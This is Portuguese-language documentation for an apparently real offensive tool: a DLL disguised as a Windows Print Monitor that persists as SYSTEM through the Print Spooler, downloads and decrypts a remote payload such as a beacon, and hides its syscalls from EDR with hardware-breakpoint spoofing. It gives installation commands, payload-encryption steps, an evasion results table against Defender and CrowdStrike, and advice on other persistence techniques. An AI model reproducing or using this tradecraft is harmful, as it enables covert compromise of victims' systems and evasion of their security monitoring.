Print Monitor DLL (indirect_dll_V7)

Framework de persistencia via Print Spooler com syscall spoofing avancado

Voltar ao inicio
ATENCAO: NAO funciona contra CrowdStrike! Mesmo com o KCD2 (blinder) ativo, a DLL nao carrega. O bloqueio acontece em camada diferente dos callbacks de kernel. Funciona apenas contra Defender e ambientes sem EDR enterprise.

Indice

1. Visao Geral

Framework de persistencia que se disfarca como um Windows Print Monitor. A DLL e registrada no sistema de impressao do Windows e carregada automaticamente pelo spoolsv.exe (servico de Spooler) a cada boot. Roda como NT AUTHORITY\SYSTEM.

Tipo: Stager + Persistencia
Contexto: NT AUTHORITY\SYSTEM (via spoolsv.exe)
Tecnica MITRE: T1547.010 - Boot or Logon Autostart Execution: Print Processors

O que a DLL faz

  1. Baixa payload criptografado de servidor remoto via HTTP/HTTPS
  2. Descriptografa com AES-256-CBC
  3. Aloca memoria pagina por pagina (RW -> RX)
  4. Executa via Thread Pool callback

2. Fluxo de Execucao

[INSTALACAO - requer admin]
reg add "HKLM\...\Print\Monitors\Nome Monitor" /v "Driver" /d "dll.dll"
| reboot
v
[SPOOLSV.EXE (SYSTEM)]
Inicia -> Enumera Print Monitors -> LoadLibrary("dll.dll") -> InitializePrintMonitor2()
|
v
[DLLMAIN - DLL_PROCESS_ATTACH]
DisableThreadLibraryCalls() -> InterlockedCompareExchange() -> CreateThread() -> start()
|
v
[START.CPP]
PEB walk -> Download payload -> AES decrypt -> Page-by-page alloc -> Execute

3. Syscall Spoofing via Hardware Breakpoint

A DLL usa VEH (Vectored Exception Handler) com hardware breakpoints para fazer syscalls sem ser detectada:

1
Chama funcao DECOY

Chama NtQuerySecurityObject (benigna)

2
Hardware Breakpoint

DR0 configurado no endereco da instrucao syscall

3
Exception dispara

VEH handler intercepta antes do syscall

4
Troca parametros

RAX = SSN real, registradores = parametros reais

5
Syscall executa

Kernel ve funcao real, stack trace mostra decoy

4. Instalacao

Preparar Payload

# Gerar beacon/badger em formato bin
# Criptografar:
python3 encrypter.py beacon.bin
# Output: arquivo "data" (AES-256-CBC)
# Hospedar em servidor web

Instalar no Alvo (requer admin)

# Copiar DLL para System32
copy dll.dll C:\Windows\System32\dll.dll

# Registrar como Print Monitor
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Nome Monitor" /v "Driver" /d "dll.dll" /t REG_SZ

# Reiniciar Spooler (ou reboot)
net stop spooler && net start spooler

5. Status de Evasao (Atualizado 02/06/2026)

EDRStatusCom KCD2 (blinder)Detalhes
Windows DefenderFuncionaSem alertas, persiste reboot
CrowdStrike FalconBloqueadoAinda bloqueadoLoadLibrary impedido mesmo com callbacks zerados
Teste com KCD2 (02/06/2026):

Hipotese: se cegarmos o Falcon (removendo callbacks do kernel), a DLL carregaria.

Teste: Executamos WdFilter.exe -d, confirmamos 70+ callbacks zerados, reiniciamos o Spooler.

Resultado: DLL NAO carregou. tasklist /m persist.dll retornou vazio.

Conclusao: O bloqueio do CrowdStrike nao depende apenas dos callbacks de kernel. Provavelmente usa validacao interna no csagent ou driver filter em camada diferente.

Vantagens (quando funciona)

Limitacoes

Recomendacao: Usar apenas contra Defender ou ambientes sem EDR enterprise. Para CrowdStrike, buscar alternativas de persistencia (WMI Event Subscription, COM Hijacking, etc).